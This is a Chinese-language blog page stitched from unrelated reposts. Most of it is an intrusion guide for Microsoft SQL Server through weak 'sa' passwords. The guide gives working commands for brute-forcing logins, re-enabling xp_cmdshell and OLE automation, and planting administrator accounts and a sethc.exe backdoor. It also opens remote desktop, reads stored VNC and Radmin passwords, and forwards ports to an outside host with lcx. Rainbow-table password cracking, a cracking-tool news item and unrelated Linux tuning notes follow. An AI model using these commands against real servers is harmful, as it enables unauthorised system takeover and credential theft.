Pages

Tuesday, 31 July 2012

MSSQL Sa账户弱口令利用总结



一般拿到mssql的sa密码,或者遇到sa权限的注入点.可以尝试用sql连接器进行连接.如果不能外连,可以建立一个属于sysadmin组,可以远程登录的帐号进行控制.简单示例如下:
   
EXEC SP_ADDLOGIN 'hsren','123456','master' ;
EXEC SP_ADDSRVROLEMEMBER 'hsren','sysadmin';

这样,我们就建立了一个属于sysadmin组的sql登录 hsren 密码123456. 在mssql注入中遇到sa权限,不知道sa密码,我们也可以这样建立个用户,比较容易操作.操作以前,我们最好连接下1433端口,看是否开启.其实实际过程中,很多有放火墙阻止了1433端口的,还有一些更改端口为其他端口的,还有内网数据库等等.到时候端口转发,端口复用等,这里暂不考虑,.本文着重记录一些常见的mssql 空口令技巧.

其实mssql利用工具,网上有好多下载.很多版本都挺好用的,而且各有特色.这里不一一介绍了,简单说下我偶尔用到的几个工具,xrou写的sql tools,还有蓝色光芒写的sql综合利用工具.

xrou写的sql tools 功能比较强大,包括五种执行cmd命令的方式,执行sql语句,列目录,上传文件和查看文件内容等.蓝色光芒的sql综合利用工具,增加sql 帐号和注册表管理功能比较实用.其实工具是死的,这里不多加介绍,下面我们用sql查询器直接进行连接.

首先查看mssql版本和系统版本.?select @@version?一般用来查看mssql版本,因为sql2008 sql2005 sql2000 个别语法不相同,本文主要针对sql2000进行记录.

首先,我们进入master数据库,因为sql只有在master数据库中才能执行xp_cmdshell存储过程. user master; 然后F5 执行. 想用1、2、3、来记录后来想到自己的思想混乱和文笔,还是算了,随手记忆吧!

第一步尝试运行cmd命令,有了cmd命令,方便我们进一步的入侵!mssql有很多功能强大的存储过程,也许是太强大了,正是这些存储过程带给了我们数不清的机会!说道cmd命令,首当其冲的,是xp_cmdshell这个存储过程!

说下如何判断某个存储过程是否存在. 我们直接执行 sql语句判断存储扩展是否存在:
select count(*) from master.dbo.sysobjects where xtype='x' and ame='<span style="color: #0000ff;">xp</span><span style="color: #0000ff;">_c</span><span style="color: #0000ff;">mdshell</span>'

返回结果为1就ok . 0就是不存在.我们查询什么扩展更改蓝色字体部分的xp_cmdshell即可.

xp_cmdshell,以操作系统命令行解释器的的方式执行给定的字符串,并以文本方式返回.授予非管理员用户执行cmdshell的权限语法为xp_cmdshell {‘command_srting’}[,no_output];具体应用也不多作解释了!因为mssql太强大了,随便每个存储过程都可以用几页文章来形容.还是记录一些常用的命令就好了.
Exec Xp_cmdshell ‘whoami’]

我一般用这个用户作为test语句!当然很多朋友可能都习惯用net user 添加用户!还是那句话,管理员的安全水平越来越提高!sql服务的sa默认是system权限,但是很多有经验的管理员都会把权限降低为nt authority\network service. 有经验的管理员会把net.exe net1.exe cacls.exe 等危险的exe都禁止system访问!当然了xp_cmdshell这么危险的组件也不会保存!而whoami.exe这个命令一般不会被特别的设置权限,所以我们可以判断,xp_cmdshell是否禁止,mssql的运行权限是什么!

下面分2个话题说,第一个,恢复xp_cmdshell;第二个,在sa没有特权的时候,我们该做什么!

先说第一个!

恢复xp_cmdshell,网上关于这类话题的讨论很多!由于本文是记录给自己看的,不能图文并茂,就大概记录一下!

1、提示SQL Server 阻止了对组件 ‘xp_cmdshell’ 的 过程’sys.xp_cmdshell’ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 ‘xp_cmdshell’。有关启用 ‘xp_cmdshell’ 的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”. 这是mssql2005以上的默认配置!开启mssql2005 xp_cmdshell存储过程的语法为:
   
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

大概就是开启高级选项!设置xp_cmdshell为1就是开启,关闭设置为0就可以了!也给出语句,方便我们利用后恢复!

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;

EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int

第二步执行:
<span style="color: #ff0000;">sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' ;</span>

3、无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)?

第一步执行:
sp_dropextendedproc "xp_cmdshell"

第二步执行:
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

4、无法在库 xplog70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
第一步执行:
exec sp_dropextendedproc 'xp_cmdshell'

第二步执行:
exec sp_addextendedproc 'xp_cmdshell','D:\hsren\xpsql70.dll'

上面所有命令都输入以后点F5执行.简单说下,第二种找不到存储过程,我们直接添加这个存储过程.xplog70.dll 是xp_cmdshell存储过程要用到的dll文件.第三个是说有存储过程,但是里面的xp_cmdshell存储过程不存在dll里面,我们首先删除这个存储过程,然后重新创建.第四个是说在dll里找不到xp_cmdshell,或者找不到dll的时候,我们自己上传dll 然后删除原来的用我们上传的dll来恢复.

5、如果sp_addextendedproc不存在,也就无法进行存储过程的添加了!这里记录两种方法。第一种是直接恢复xp_cmdshell扩展,不用理会sp_addextendedproc是否存在!具体语句如下:
首先删除
   
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'

然后恢复:
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

以上的例子只恢复了2种可以执行cmd命令的存储过程,包括下文要说的一些扩展都能利用此种方法恢复!下面就不再赘述了!

第二种是,用sql语句恢复sp_dropextrndedproc. 该语句是从dll里直接提取的.大家可以另外提取一些其他的函数,这些不在本文讨论范围中.sql语句如下:   
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO

执行完毕以后,我们的sp_addextendedproc就可以用了,我们就可以添加各种存储过程了.
6、还有一种,错误 5 来自 CreateProcess .那样是net.exe的权限问题!我们可以用其他的一些扩展办法,比如上传net.exe 等等吧!直接运行一个shell.exe之类的!
上面简单介绍了一些关于xp_cmdshell的恢复和应用!可以执行cmd命令的话.开启3389运行后门,添加用户!这些事情大家自由发挥,我就不多废话了!下面说下xp_cmdshell不能执行的时候,我们可以用来执行cmd的两个存储过程!sp_oacreate 实例上创建OLE对象实例! sp_oamethod 调用ole对象的方法!一个创建一个调用方法去实现,功能可见一斑.应用很广泛.我们只说下cmd命令的应用.其他的大家可以自己去尝试. 这2个存储过程,添加和恢复参照上文的xp_cmdshell,唯一不同的就是dll的名称为odsole70.dll. 这两个存储过程基本语法如下:
   
sp_OACreate progid, | clsid,
    objecttoken OUTPUT
     [ , context ]
sp_OAMethod objecttoken,
    methodname
     [, returnvalue OUTPUT]
     [ , [ @parametername = ] parameter [ OUTPUT ]
     [...n]]

具体参数说明大家baidu 下. 下面给出创建一个adduser.vbs到启动目录下,运行后利用wscript.shell 执行cmd命令添加一个属于administrators 组的 用户hsren 密码123456的实例.
   
declare @o int, @f int,@ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'C:\Documents and Settings\All Users\「开始」菜单\程序\启动\adduser.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, 'set wshshell=createobject("wscript.shell")'
exec @ret = sp_oamethod @f, 'writeline', NULL, 'a=wshshell.run ("cmd.exe /c net user hsren 123456 /add",0)'
exec @ret = sp_oamethod @f, 'writeline', NULL, 'b=wshshell.run ("cmd.exe /c net localgroup administrators hsren /add",0)'

不知道能不能看懂,如果你baidu了这2个存储过程的用法,应该能懂.再来个简简单单,执行cmd命令的,这样应该方便大家了解.
   
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'net start telnet'

现在,大家对这个应该了解了,实际过程中,我们可以利用这2个函数来执行注册表,写入一句话脚本木马,读写文件(比如servu ftp配置文件)等等很多事情.
不详细说了,记录到执行命令,不得不提的就是沙盒模式执行cmd.说到沙盒模式,因为默认沙盒模式,没有开启,我们必须提到一个xp_regwrite存储过程.而注册表的一些存储过程,我们又可以用来做好多事情,比如查看配置,新建服务,新建启动项之类的.先说沙盒模式提权吧.具体命令如下:

exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

首先开启沙盒模式.下面加用户hsren 密码 123456.

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user hsren 123456 /add")');

大概就是这个样子了,需要注意的是,有时候ias.mdb不一定可以用,system32下面有2个mdb可以使用的,如果再不行,可以再找别的或者自己上传.其实运行沙盒模式,也许到过很多的错误,不过今天记录的时候,却忘记了.总是大家自己看着错误提示,寻找解决办法.注意蓝色字体,大家可以自行修正成自己的命令,和mdb路径比如 c:\windows\system32\ias\dnary.mdb.
再说说启动SQLSERVERAGENT 通过JOB执行cmd.大概就是如果服务器可以开启sqlseveragnet ,然后我们可以通过添加任务来执行cmd.具体的大家可以baidu 下. 贴出一个典型的利用语句:
   
execmaster.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'

首先启动服务. 接着添加执行cmd命令的job:
   
use msdb exec sp_delete_job NULL,'x'
execsp_add_job 'x'
execsp_add_jobstep NULL,'x',NULL,1,'CMDEXEC','cmd /c net user hsren 123456 /add'
execsp_add_jobserverNULL,'x',@@servername
execsp_start_job 'x'

上面的例子中,我们同样添加了一个用户.简单解释下. 首先使用msdb数据库, 然后删除名为x的job, 然后新建个job x 执行cmdexec , 添加job执行的服务器.启动job x. 大概了解就好了.
在简单介绍一种执行cmd命令的方法.xrou写的sql利用工具有个安装diyshell的功能.原理就是,利用添加存储过程,添加一个我们自己写的存储过程到服务器.然后调用这个存储过程来执行cmd.其实可以做任何事情.简单介绍下,日后有时间,可以自己写个然后给大家分享.
cmd说到这里告一段落了.其实一个system权限的cmdshell还有什么不能做的呢.运行程序.上传下载.开启远程终端,添加用户等等. 值得一提的就是文件上传,我记得看过一篇文章写着sa上传文件八法.大家可以参考下.有时间我专门整理下上传文件的文章.
说到开启3389,用我们刚才开启沙盒的xp_regwrite直接可以修改注册表打开3389. 具体语句为:
exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--

写注册表,在启动项目,直接操作注册表sam项,这些具体利用就不写了.xp_regwrite没有启动,可以参考上面cmdshell的恢复方法.不同的是注册表操作的这几个存储过程默认的 dll文件名字为xpstar.dll .
说到注册表,不得不提到一系列的函数xp_regread xp_regenumkeys xp_regenumvalues xp_regremovemultistring xp_regdeletekey xp_regdeletevalue 等函数. 他们提供了注册表的列举,查看,修改和删除.我们可以查看注册表的软件配置, 删除ipsec安全策略,修改软件启动.劫持文件启动镜像等等.着重说说如果mssql降权了,没有特殊权限的提权方式. 这时候可以利用xp_regread读取一些配置文件.读取保存在注册表中的密码,来获得权限的提升.比较常用的是vnc,radmin等.因为vnc的加密方式可逆,并且保存在注册表中.我们可以把密码读出来. 语句如下:
   
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter'
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Port'
exec master.dbo.xp_regread 'HKEY_CURRENT_USER','Software\ORL\WinVNC3','Password'
exec master.dbo.xp_regread 'HKEY_CURRENT_USER','Software\ORL\WinVNC3','PortNumber'
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\RealVNC\WinVNC4','Password'
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\RealVNC\WinVNC4','PortNumber'

类似如此,有当我们不知道vnc安装在哪里的时候可以通过xp_regenumkeys xp_regenumvalues 来读取.如果只有guest权限,我想我们能做的也只有这些了.以下语句记录一下.劫持sethc.exe的注册表镜像,通过xp_regwrite的.例子中,我们把sethc.exe 用资源管理器劫持了,登陆3389 5shift 就运行explorer.exe了.本文只是介绍个方法.同样你可以把explorer替换为任务管理器,cmd.exe.也可以不替换sethc.exe可以替换win放大镜文件.登陆3389 win+U就弹出.我想注册表,也告一段落吧.
   
exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\explorer.exe'';

接下来说说xp_availablemedia 显示系统上可用的磁盘驱动器 和 xp_dirtree 显示某个目录下的子目录与文件架构.dbo.xp_subdirs 只列某个目录下的子目录.xp_getfiledetails 获取某个档案的相关属性. 很简单的,这两个函数注入中,我们经常使用,现在他可以叫我们查看服务器上有什么文件和目录.没什么技术含量不写例子了.写下如何查看文件内容吧.如果可以使用cmdshell, 我建议使用type 命令来查看.如果不可以,那我们使用把文件内容插入数据库的表里,然后来读取文件内容.代码如下:

#建立一个临时表
   
create table #testtable(
context ntext );
select * from #testtable

#将本地文件写入表中   
BULK INSERT #testtable FROM 'c:\1111.txt'
WITH (
    DATAFILETYPE = 'char',
    KEEPNULLS
)
--drop table #testtable;

需要注意的是我们必须有BULK INSERT权限才可以.我们是sa,可以不用考虑这个问题.查看文件内容还有好多办法.有兴趣的自己去看下mssql的一些文章. 我很少写东西,写一天了还没写完,有点烦了.随便结个尾吧.以后想到再来详细补充. 大家看看这几个函数: xp_servicecontrol 激活或者停止某个服务; xp_terminate_process 停止某个进程的pid. sp_helpextendedproc 可以用来查看哪个 存储过程用到了哪个dll.
其实还有一些存储过程,比如sp_makewebtask 可以用来写入一句话木马. 我想把一些注入中用到的存储过程,改在注入总结篇中总结. 本文只是大概记录了一些本人在网络学习到,和自己常用到的一些小经验.其实sa的利用方式还是很多,想到再补充,大家想到什么好的利用方式,也可以和我交流.
本来想写个记录帖子的,写一半把性质给忘记了.其实真的sa可以执行cmd.那么我们能做的事情好多了,我一句一句的纪录如何开始3389 如何导入文件到表内 导出为文件,如何执行就没意思了.
-------------------------------------------------------------------------------------------
 MSSQL SA弱口令入侵那些事

一、如何找到SA弱口令计算机
1、扫描获得1433端口开放的计算机
      端口扫描器和专门的SQL扫描器很多,笔者经过大量的测试,推荐使用ssport(如图1)这款扫描器进行扫描,尽管有些基于SYN方式的扫描器扫描速度 很快,但误报和漏扫情况比较多,而且对网络速度要求比较高,而ssport可以根据扫描计算机的硬件和网络情况进行灵活的设置,操控性很强。因为 ssport扫描器占的网络资源比较多,建议超时时间设置的大一些,扫描速度设置的慢一些。ssport的下载地址:[url]http://www.skycn.com/soft/15011.html[/url]
图1
      扫描完毕后,将获得的结果"导出"到一个txt文件中,然后使用替换功能去掉每个ip后面的:1433。
2、破解SA密码
      破解SA密码的软件也很多,笔者一般使用x-scan(下载地址:http://www.xfocus.net/tools/200507/X-Scan-v3.3-cn.rar),尽管破解速度不算最快,但很稳定(xp和虚拟机下不算稳定,可能跟xp的tcp连接数量有关,建议在win2000、2003下使用),各种设置如图2,3,4,5,6所示。
图2
图3
图4
图5
图6
 
其他设置使用默认设置就行了。x-scan提供了一个sqlserver用户名字典sql_user.dic,我们需要修改一下,只保留其中sa这个用户。x-scan还提供了一个sa的密码字典weak_pass.dic,我也修改了一下:
%null%
%username%
123
server
0000
654321
7654321
manager
12345678
1234
12345
123456
1234567
123456789
admin
password
666666
888888
000000
master
111111
 
如果条件允许,可以制作生日密码字典进行破解,这种密码还是很多的,而且完全控制的可能性很大。
二、找到SA弱口令服务器后
        1、连接执行cmd命令
        找到SA弱口令服务器后,可以使用sqlserver的查询分析器进行连接,但要获得查询分析器,需要安装sqlserver的客户端,这样比较麻烦,建议使用SQL执行器(下载地址:http://img1.51cto.com/attachment/200902/1083_1233814542.rar)进行连接,查询分析器的功能SQL执行器基本都有,数据库管理员也可以使用这个工具维护数据库,如图7所示。
图7
连接上就可以尝试执行cmd命令了,但事情不会象我们想象的那样简单。
        2、连接后,该执行哪些命令?
        假设各种存储过程和dll文件都没有删除,我们先执行:
exec master..xp_cmdshell 'netstat -an'
看看3389,4899,5631等远程控制的软件端口是否都是开放的,然后执行添加系统用户的命令:
exec master..xp_cmdshell 'net user a password /add'
exec master..xp_cmdshell 'net localgroup administrators a /add'
这样就加了一个名为a,密码为password的系统管理员。建议密码设置的复杂些,有些服务器有密码复杂度限制,密码如果太简单,建不了用户。
        3、都会遇到哪些障碍?
(1)如果提示xp_cmdshell被删除了怎么办?
执行exec sp_addextendedproc 'xp_cmdshell', 'Xplog70.dll',进行恢复。
    
(2) 如果提示sp_addextendedproc不存在怎么办?
执行:
create procedure sp_addextendedproc
@functname nvarchar(517), @dllname varchar(255) as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO
恢复
        
(3)如果对方的3389服务没有开启怎么办?
执行:
exec master..xp_cmdshell 'dir c:\'
看看根目录下如果是winnt,则一般是win2000,执行
exec master..xp_cmdshell 'echo [Components] > c:\winnt\3389'
exec master..xp_cmdshell 'echo TSEnable = . >> c:\winnt\3389'
exec master..xp_cmdshell 'sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\winnt\3389 /q'
等服务器重启才能连接3389
如果根目录下是windows,一般是xp或win2003,执行
exec master..xp_cmdshell 'echo Windows Registry Editor Version 5.00>>3389.reg'
exec master..xp_cmdshell 'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg'
exec master..xp_cmdshell 'echo "fDenyTSConnections"=dword:00000000>>3389.reg'
exec master..xp_cmdshell 'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg'
exec master..xp_cmdshell 'echo "PortNumber"=dword:00000d3d>>3389.reg'
exec master..xp_cmdshell 'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg'
exec master..xp_cmdshell 'echo "PortNumber"=dword:00000d3d>>3389.reg'
exec master..xp_cmdshell 'regedit /s 3389.reg'
执行完毕后,不用等待重启,可以直接连接。
       
(4)如果使用3389连接时,提示连接用户必须有远程连接的权限怎么办?
执行:
exec master..xp_cmdshell 'net localgroup "Remote Desktop Users" a /add'
注意单双引号。
(5)如果服务器用的是pcanywhere怎么办?
执行:
exec master..xp_cmdshell 'dir c:\docume~1\alluse~1\Applic~1\symantec\pcAnywhere\Hosts\'
想办法把该文件夹的pif文件下载破解。
(5)如果连接3389,提示连接用户已满怎么办?
执行:
exec master..xp_cmdshell 'shutdown/r /f'
服务器会重新启动,然后连接,只针对xp和2003。
(6)如果对方是sql2005,有些存储过程默认情况下是关闭的怎么办?
sql server 2005下开启xp_cmdshell的办法
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
SQL2005开启'OPENROWSET'支持的方法:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
SQL2005开启'sp_oacreate'支持的方法:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
(7)为什么我建了管理员用户,在连接3389时提示用户名和密码不正确?
这种情况也存在,开3389服务的服务器和开1433服务的服务器不是一台机器,1433服务器很可能在内网,可通过sqltool这个软件上传lcx.exe,进行反向连接,详细情况参考(8)。
(8)对方3389是开启的,但为什么连接不上?
这种情况比较多,可能1433服务器是在内网,或者有防火墙阻挡,科通过sqltool这个软件的上传功能将lcx.exe上传到1433服务器上(可放到system32下),然后到有公网ip的计算机上执行cmd命令(要先把lcx传上去):
Lcx -listen 12345 54321
然后在SQL执行器执行:
exec master..xp_cmdshell 'lcx.exe -slave 公网ip 54321 127.0.0.1 3389'
再到有公网ip的计算机上使用远程桌面连接127.0.0.1:12345
这样一般可以连上。
(9)3389的端口被修改了,该如何找到?
先执行
exec master..xp_cmdshell 'netstat -an'
看看那些端口的数字比较特殊,比如9833、12345等,尝试连接,或者
第一步: Tasklist/SVC 列出所有进程,系统服务及其对应的PID值。
  而终端所对应的服务名为:Terminal Services
第二步:用netstat -ano命令,列出所有端口对应的PID值。
  找到PID值所对应的端口,然后连接ip:端口
(10)遇到下面的错误提示怎么办?
消息 50001,级别 1,状态 50001
xpsql.cpp: 錯誤 5 發生於 CreateProcess 的第 543 行
 
放弃吧,我也不知道怎么办,哪位大侠指点一下。
(11)如果不能执行或者删除了net、net1怎么办?
上传试试,
(12)还有哪些建系统用户的方法?
 
出处http://xiaowang.blog.51cto.com/1083/129196

如何用彩虹表破解MD5、LM Hash等加密的密码


一、什么是彩虹表?
彩虹表(Rainbow Tables)就是一个庞大的、针对各种可能的字母组合预先计算好的哈希值的集合,不一定是针对MD5算法的,各种算法的都有,有了它可以快速的破解各类密码。越是复杂的密码,需要的彩虹表就越大,现在主流的彩虹表都是100G以上。
二、上哪找彩虹表去?
现在有很多大牛已经把自己的彩虹表共享出来了,所以你可以去下载。还有一种方法就是自己通过工具生成。
不过自己生成有点不切合实际,生成小的彩虹表吧数据少,可以破解密码的位数少(复杂程度低),而且费时费力,4核4GB内存的机器,生成2GB彩虹表,需要花费7天时间,而7天按1MB的带宽(160K/S左右)几乎可以下载30GB左右。
生成的工具可以用RainbowCrack也可以用Cain。网上很容易搜索到下载地址的。
下载彩虹表:

1、MD5的彩虹表
工具推荐:Free Rainbow Tables
ftp:
ftp://tbhost.eu/
user:download
pass:Tx50AbsBHq7Nya7n9weW
http:
http://tbhost.eu/rt.php
http://freerainbowtables.mirror.garr.it/mirrors/freerainbowtables/
提供了多种类型的彩虹表下载,LM、NTLM、MD5、SHA1等。千万别把人家法语字符的表也下了,对国人来说,几乎没什么用,不过如果你有特殊 需要,那就下吧……这里提供的都是.rti格式的,有别于传统的.ri格式,.rti比.rt的多了一个目录.index文件,据说遍列速度比.rt的更 快(未曾对比过,无法确定是否属实)。把你想要用的那个表下载下来,然后下载读取彩虹表的工具:rcracki_mt.exe
把此工具及相关的dll文件复制到彩虹表所在目录,然后运行命令“F:\MD5>rcracki_mt.exe -h 3787795aeee01c9ab7267f252c932572 *.rti”就会开始破解(只能是32位密文)。漏洞之家http://bbs.3344.eu
2、LM-HASH的彩虹表(Windows登录密码)
工具推荐:ophcrack
http://ophcrack.sourceforge.net/download.php
这个是Ophcrack XP Special Tables。一般非Vista的密码Hash,用它能破绝大部分,但在使用过程中也有发现有小部分Hash正确,但无法破解的。
这是Ophcrack Vista Special NTHASH的。官方是收费的表,不过国外共享了,也就可以免费得到了。如果这些表都跑不出来,而你又确定你的Hash没有搞错的话,那么只能找LC5出马了,LC5是一定能破的,只是时间有点久!
其他工具还有一些,大家自己找找吧。不过这两个是经典的常用彩虹表。CMD5,或者Xmd5网站都开始收费了。大家还是自己拿机器跑吧.
--------------------------------------------------

密码专家发布可容易破解使用MS-CHAPv2加密协议的网络密码


密码专家Moxie Marlinspike今日在黑客大会能发布了可以非常容易破解无线网络和虚拟个人网络密码的软件, 而这些网络都采用了微软公司的MS-CHAPv2加密协议。另外,很多企业和机构使用的WPA2和VPN密码都是受PPTP保护,而PPTP使用的也是微 软的MS-CHAPv2。Marlinspike的工具则可以非常容易得破解这些密码。这听起来似乎会让网管们担忧起来了。
密码专家Moxie Marlinspike
不过,Marlinspike设计这些软件的初衷则是为了渗透测试员和网络审计人员检查受WPA2保护的网络和VPN帐号而设计的。但是,也不得不承认的是它们也有可能会被些心术不正的人用来窃取数据和获取网络非法访问。
来源http://www.cnbeta.com/articles/199172.htm

 

LINUX系统的优化

(https://briteming.blogspot.com/2015/05/linux-vps.html)

所有的TCP/IP调优参数都位于/proc/sys/net/目录. 例如, 下面是最重要的一些调优参数, 后面是它们的含义:
1. /proc/sys/net/core/rmem_max — 最大的TCP数据接收缓冲
2. /proc/sys/net/core/wmem_max — 最大的TCP数据发送缓冲
3. /proc/sys/net/ipv4/tcp_timestamps — 时间戳在(请参考RFC 1323)TCP的包头增加12个字节
4. /proc/sys/net/ipv4/tcp_sack — 有选择的应答
5. /proc/sys/net/ipv4/tcp_window_scaling — 支持更大的TCP窗口. 如果TCP窗口最大超过65535(64K), 必须设置该数值为1
6. rmem_default — 默认的接收窗口大小
7. rmem_max — 接收窗口的最大大小
8. wmem_default — 默认的发送窗口大小
9. wmem_max — 发送窗口的最大大小
/proc目录下的所有内容都是临时性的, 所以重启动系统后任何修改都会丢失.
建议在系统启动时自动修改TCP/IP参数:
把下面代码增加到/etc/rc.local文件, 然后保存文件, 系统重新引导的时候会自动修改下面的TCP/IP参数:
echo 256960 > /proc/sys/net/core/rmem_default
echo 256960 > /proc/sys/net/core/rmem_max
echo 256960 > /proc/sys/net/core/wmem_default
echo 256960 > /proc/sys/net/core/wmem_max
echo 0 > /proc/sys/net/ipv4/tcp_timestamps
echo 1 > /proc/sys/net/ipv4/tcp_sack
echo 1 > /proc/sys/net/ipv4/tcp_window_scaling
TCP/IP参数都是自解释的, TCP窗口大小设置为256960, 禁止TCP的时间戳(取消在每个数据包的头中增加12字节), 支持更大的TCP窗口和TCP有选择的应答.
上面数值的设定是根据互连网连接和最大带宽/延迟率来决定.
注: 上面实例中的数值可以实际应用, 但它只包含了一部分参数.
另外一个方法: 使用 /etc/sysctl.conf 在系统启动时将参数配置成您所设置的值:
net.core.rmem_default = 256960
net.core.rmem_max = 256960
net.core.wmem_default = 256960
net.core.wmem_max = 256960
net.ipv4.tcp_timestamps = 0
net.ipv4.tcp_sack =1
net.ipv4.tcp_window_scaling = 1
—————————————————————————————————————————-
二、文件及文件系统调谐
块大小
使用较大的块大小将得到较好的性能。将ext2文件系统的块大小调整为4096byte而不是缺省的1024byte,可以减少文件碎片,另外,在 ext2的文件系统中,为根目录保留了5%的空间,对一个大的文件系统,除非用作日志文件,5%的比例有些过多。可以使用命令”# mke2fs -b 4096 -m 1 /dev/hda6″将它改为1%并以块大小4096byte创建文件系统。如果系统用作邮件或者新闻服务器,使用较大的块大小,虽然性能有所提高,但会 造成磁盘空间较大的浪费。比如文件系统中的文件平均大小为2145byte,如果使用4096byte的块大小,平均每一个文件就会浪费1951byte 空间。如果使用1024byte的块大小,平均每一个文件会浪费927byte空间。在性能和磁盘的代价上如何平衡,要看具体应用的需要。
调整缓冲区刷新参数
Linux内核中,包含了一些对于系统运行态的可设置参数。缓冲刷新的参数可通过
/proc/sys/vm/bdflush文件来完成,这个文件的格式是这样的:
# more /proc/sys/vm/bdflush
40 0 0 0 500 3000 60 0 0
第一个数:在”dirty”缓冲区达到多少的时候强制唤醒bdflush进程刷新硬盘,
第二个数:每次让bdflush进程刷新多少个dirty块。所谓dirty块是必须写到磁盘中的缓存块。接下的数:每次允许bd flush将多少个内存块排入空闲的缓冲块列表。
修改方法
# echo “100 128 128 512 5000 3000 60 0 0″>/proc/sys/vm/bdflush 并将这条命令加到/etc/rc.d/rc.local文件中去。
以上的设置加大了缓冲区大小,降低了bdflush被启动的频度,同时也增加了万一系统崩溃丢失数据的危险性。VFS的缓冲刷新是Linux文件系统高效的重要原因之一。
调整文件句柄数和i-节点数
在Linux内核2.4.x中需要修改源代码,然后重新编译内核才生效。编辑Linux内核源代码中的
include/linux/fs.h文件,将 NR_FILE 由8192改为 65536,将NR_RESERVED_FILES 由10 改为 128。编辑fs/inode.c 文件将 MAX_INODE 由16384改为262144。
一般情况下,最大打开文件数比较合理的设置为每4M物理内存256,比如256M内存可以设为16384,而最大的使用的i节点的数目应该是最大打开文件数目的3倍到4倍。
三、其它方面的调谐
调谐buffermem
文件buffermen和内核虚拟内存子系统密切相关。文件/proc/sys/vm/buffermem控制多大内存被用于缓冲区(百分数表示)。内核2.4的缺省值为:: “2 10 60″。可以按如下方法修改:
# echo “70 10 60″ >/proc/sys/vm/buffermem
并将之加到脚本文件/etc/rc.d/rc.local 中。或者在/etc/sysctl.conf文件中加入
vm.buffermem = 70 10 60
第一个参数 70意味着至少分配70%的内存用作缓冲区。后两个参数保持系统的默认值。第一个参数设置为多大合适,依赖于系统的内存大小和系统高负载时内存的使用情况(可用free监视)。
进程限制
Linux对于每个用户,系统限制其最大进程数。为提高性能,可以设置超级用户root的最大进程数为无限。编辑.bashrc文件(vi /root/.bashrc)增加行”ulimit -u unlimited”即可消除超级用户的进程限制。
核心和系统对用户进程其它的一些限制也可以通过ulimit命令来查看和更改。”ulimit -a” 用来显示当前的各种用户进程限制。一些更改用户限制的例子如下:
ulimit -n 4096 将每个进程可以打开的文件数目加大到4096,缺省为1024
ulimit -m 4096 限制每个进程使用的内存数。
优化gcc编译
将优化标志放在/etc/profile文件中。在pentium III级的处理器上使用以下优化标志将得到最优的应用程序:
CFLAGS=-O9 -funroll-loops -ffast-math -malign-double -mcpu=pentiumpro -march=pentiumpro -fomit-frame-pointer -fno-exceptions
再将如下行加到/etc/profile 更靠后的位置:
export PATH PS1 HOSTNAME HISTSIZE HISTFILESIZE USER LOGNAME MAIL INPUTRC CFLAGS LANG LESSCHARSET使用以上的优化,gcc或者egcs编译的程序将得到最佳的性能。
—————————————————————————————————————————-
/proc/sys/kernel/shmall
该文件是在任何给定时刻系统上可以使用的共享内存的总量(以字节为单位)。
缺省设置:2097152
/proc/sys/kernel/shmax
该文件指定内核所允许的最大共享内存段的大小(以字节为单位)。
缺省设置:33554432
/proc/sys/kernel/shmmni
